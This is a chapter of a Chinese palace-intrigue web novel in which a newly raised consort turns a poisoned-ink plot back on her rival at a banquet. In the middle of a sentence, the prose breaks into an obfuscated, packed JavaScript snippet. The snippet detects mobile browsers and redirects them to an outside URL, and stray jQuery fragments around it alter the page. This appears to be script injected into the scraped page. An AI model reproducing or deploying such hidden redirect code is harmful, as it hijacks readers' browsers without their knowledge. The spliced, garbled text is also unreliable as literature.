天还没亮透，锦娘便领着宫人为夏清圆梳妆。


    青丝梳成繁复的凌云髻，赤金点翠步摇簪入鬓间——今日是她正二品昭仪的册封大典。


    可她的心思，却全然不在这身华服上。


    “主子，”周全悄步近前，声音压得极低，“宫外有动静了。”


    夏清圆从镜中看他，指尖无意识抚过领口的珍珠滚边：“说。”


    “大皇子与瑞王中毒的真相传出去后，起初百姓只当茶余饭后的谈资。”


    周全语速平缓，字字清晰，“但今科会试张榜在即，话题自然被引到考题上——土地改制。”


    她眸光微凝。


    “那些寒门学子翘首盼着改制的落实，话头一起，百姓也跟着议论。眼下过了节便是春耕，谁不想种自家的田、传自家的地？”


    周全顿了顿，“如今在百姓眼里，大皇子与瑞王中毒，已不再是宫廷阴私，而是权贵老爷们对夏家这等为百姓着想的好官的构陷围捕，目的就是要搜刮民脂民膏。”


    夏清圆睫羽未动，只轻轻“嗯”了一声。


    ——燎原之火，往往起于星点微光。


    “还有这个，”周全从袖中取出一封信，双手奉上，“韩孝闻托二公子转呈。”


    韩孝闻。


    那个在邯山书院时便显出玲珑圆滑、更擅为官的书生。


    夏清圆展开信笺，目光扫过上面工整却锋芒暗藏的字迹——


    竟是一封“投名状”。


    韩孝闻在信中直言，愿为夏家、为土地改制奔走联络，聚拢在京学子与有识之士，在放榜前后，造出足够大的声势。


    更暗示，若他日夏翀大人有用得着的地方，他愿效犬马之劳。


    信纸在她指尖轻轻摩挲。


    这是一封极其聪明的“投名状”。未提具体诉求，却将立场与可利用的价值摆得清清楚楚。


    夏清圆看完，将信纸就着烛火点燃。火焰舔舐纸页，迅速卷曲焦黑，化作灰烬飘落。


    她看着那点余烬，心中一直紧绷的结，忽然松开了。


    这封意料之外的信，让她忽然意识到——夏家，早已不同了。


    经过去年那场一波三折的科举，父亲夏翀已从翰林院那个默默无闻的修撰，变成了推动科举变革的主阅卷，一跃成为今科会试学子心中名副其实的“座师”。


    有名声，有人望，更手握无数寒门士子未来的前程。


    而与冯家的联姻，无论夏家愿不愿意，都已成定局。


    大哥在军中历练，青枫在宫外打点接受冯家的“遗产”，她则暗中接掌了皇后留下的部分宫中人脉。


    面对皇权与党争，夏家已不再是砧板上任人宰割的鱼肉。


    而她，似乎也不必再如履薄冰，只靠揣摩圣心过活。


    “周全，”她声音里多了几分决断，“去将大皇子请来。”


    萧昀被领进内殿时，脸上还带着晨起的惺忪。三颗解毒丸用下，又调养几日，气色已大好。


    夏清圆她将孩子拉到身前，看着他清澈懵懂的眼睛，一字一句，将段云柔如何在墨中下毒、他为何会生病的事，清清楚楚说了出来。


    没有遮掩，没有粉饰。


    末了，她补充：“你母后出宫去皇寺为国祈福，将你托付给了我。”


    萧昀仰着小脸，愣愣地听着。


    那双肖似皇后的凤眼里，起初是茫然，渐渐聚起惊骇，最后沉淀为一种与年龄不符的了然。


    他抿紧嘴唇，没有哭，没有闹，只是用力点了点头。


    “怕吗？”夏清圆轻声问。


    萧昀点头，又摇头：“不怕。”


    “好。”夏清圆伸手，替他理了理衣襟，“待会儿册封礼后的宫宴上，婉娘娘要你做一件事。”


    她俯身，在他耳边低语数句。


    萧昀认真听着，眼睛渐渐亮起来，用力点头带着讨好：“昀儿记住了！”


    周全适时递上一个巴掌大的锦囊。夏清圆接过，打开——里面是一包细如粉尘、颜色灰褐的药粉。


    她拈起一点，凑近鼻尖。


    一股尖锐刺鼻的苦涩气味，与那日从段云柔墨锭中验出的“蚀骨香”味道，几乎一模一样。


    “都准备好了。”周全垂首。


    册封大典庄重而冗长。


    礼成，移驾临华宫，设宴庆贺。


    宫宴设在正殿，暖阁里烧着地龙，熏着清雅的梅花香。嫔妃命妇们依序落座，笑语晏晏，衣香鬓影。


    夏清圆端坐主位，目光状似无意地扫过席间——


    段云柔坐在下首，一袭藕荷色宫装，发间只簪了支素银步摇，依旧是那副弱柳扶风、我见犹怜的模样。


    贤妃称病未到；德妃坐在她对面，兴致不高，只静静用着面前的羹汤。


    酒过三巡，气氛渐热。


    夏清圆执起酒盏，转向德妃，声音温软，却足以让近处几人听清：“德妃姐姐近日气色好了些。说起来，大皇子离了生母，我这心里总是不安。前几日见他腕上那些旧伤……”


    她顿了顿，恰到好处地流露出心疼，“实在教人心疼。”


    德妃抬眼看她，眸中掠过一丝复杂，附和：“妹妹有心了。”


    这话，是说给段云柔听的。


    果然，段云柔执箸的手几不可察地一顿。


    夏清圆眼底笑意更深，转向侍立一旁的荔枝：“去将本宫备下的那套文房四宝取来。”


    不多时，荔枝捧着一个紫檀雕花礼盒上前。夏清圆亲手打开——


    盒内铺着明黄绸缎，正中端放着一套笔墨纸砚：羊毫湖笔、松烟墨锭、端溪老坑砚、澄心堂纸。


    她起身，亲自端着礼盒，走到段云柔席前。


    “兰充媛。”


    段云柔慌忙起身，敛衽行礼：“昭仪娘娘。”


    “昔日你为大皇子启蒙，尽心竭力，本宫记在心里。”夏清圆将礼盒递到她面前，声音温软，却字字清晰，“这套笔墨，是皇上赏的贡品，今日转赠于你，聊表谢意。”


    她顿了顿，眸光微凝，语速放缓：“望充媛日后……多将心思，用在正途。”


    殿内霎时一静。


    段云柔脸色白了三分，手指微微发颤，却不得不双手接过，深深福身：“嫔妾……谢昭仪娘娘赏赐。”


    那“正途”二字，如冰锥刺骨。


    她垂眸看向盒中那锭松烟墨——墨体黝黑润泽，隐有暗光，确是上品。可越是这样，她心头的不安便越重。


    就在这时，殿门口传来一阵轻快的脚步声。


    “婉娘娘！”


    萧昀穿着皇子常服，像只雀儿般扑到夏清圆身边，亲昵地拉住她的袖角：“昀儿来给婉娘娘道贺了！”


    夏清圆含笑抚了抚他的头：“昀儿乖。”


    萧昀仰起脸，目光“恰好”落在那套文房四宝上，眼睛一亮，天真道：“婉娘娘，兰充媛写字的墨可香了，我一看她的字就想闻。”


    他转向段云柔，声音脆生生的，“您送兰充媛的墨，也那么香吗？”


    话音落，段云柔脸上最后一点血色也褪尽了。


    她捏着锦帕的手指死死攥紧，指甲几乎


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973014|192431||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    掐进掌心。


    夏清圆将她的反应尽收眼底，笑意愈深。


    她轻抚萧昀的发顶，柔声道：“傻孩子，墨的香气各有不同。兰充媛精于此道，你不如请她为你现场研磨，鉴赏一番，也好学学。”


    众目睽睽之下，“指导皇子”名正言顺，段云柔根本无法拒绝。


    宫人早已备好清水、砚台，置于殿中一张黄花梨书案上。


    段云柔缓缓起身，每一步都像踩在刀尖上。她走到案前，目光落在那锭松烟墨上，喉头滚动。


    无数道视线聚焦在她身上——德妃的探究、其他嫔妃的好奇、命妇们的打量。


    她伸出微颤的手，拿起那锭墨。


    触手温润，重量适中。可越是正常，越让她心头发寒。


    清水注入砚池，她执墨，开始缓缓研磨。


    动作起初有些僵硬，但随着墨锭与砚台摩擦，墨香渐渐逸散——是极品的松烟香气，清雅醇厚。


    可段云柔的额头，却渗出了细密的冷汗。


    不对。


    这香气里，混着一丝极淡、却让她颤栗的熟悉味道——那种尖锐的、带着苦意的气息。


    她研磨的手越来越慢，指尖开始不受控制地发麻，后颈沁出冰凉的汗意。


    心悸。


    像有只冰冷的手攥住了她的心脏。


    她猛地抬头，看向夏清圆。


    夏清圆的眸光清凌凌的，如同深秋寒潭，映不出半分温度。


    那眼神里，没有疑惑，没有关切，只有一种洞悉一切的、冰冷的了然。


    仿佛在说：你尝到了，对吗？


    “兰充媛，”夏清圆适时开口，声音关切，却字字如刀，“脸色怎如此苍白？可是这墨……有何不妥？”


    段云柔张了张嘴，想说什么，喉咙却像被什么堵住了。她低头看向砚中渐渐浓稠的墨汁，那乌黑的颜色，此刻在她眼中如同噬人的深渊。


    “嫔妾……”她声音发颤，“许是昨夜未歇好……”


    话未说完，她忽然觉得一阵眩晕，脚下踉跄，几乎站立不住。手中墨锭“啪”一声掉在案上，滚了两圈，停在边缘。


    “充媛！”她的宫女慌忙上前搀扶。


    段云柔扶着案沿，大口喘着气，额上冷汗涔涔，脸色已惨白如纸。


    夏清圆缓缓起身，走到她面前。


    俯身，拾起那锭滚落的墨，指尖轻轻拂过墨体表面。然后，她抬眸，看向段云柔惊惧交加的双眼，声音轻得只有两人能听见：


    “这墨，可还合充媛的心意？”


    段云柔浑身一震，瞳孔骤缩。


    夏清圆直起身，转向众人，面上已恢复温婉笑意：“看来兰充媛确是身子不适。荔枝，扶充媛去偏殿歇息，传太医来看看。”


    她将墨锭轻轻放回段云柔手中，指尖在她掌心极轻地按了一下。


    “充媛，”她微笑道，“这礼，你可要收好了。”


    段云柔僵在原地，握着那锭墨，如同握着一块烧红的烙铁。


    殿内的谈笑声不知何时停了，所有目光都凝在她们身上。那种无形的、令人窒息的压力，让段云柔几乎要瘫软下去。


    夏清圆转身，款步走回主座。


    落座时，她侧目，对上了德妃若有所思的目光。


    四目相对，德妃眼中掠过一丝极淡的、带着赞赏的微光，随即垂下眼帘，继续用她的羹汤。


    殿外，天色渐暗。


    宫灯次第亮起，将临华宫照得恍如白昼。


    而这场没有硝烟的战争，方才刚刚拉开序幕。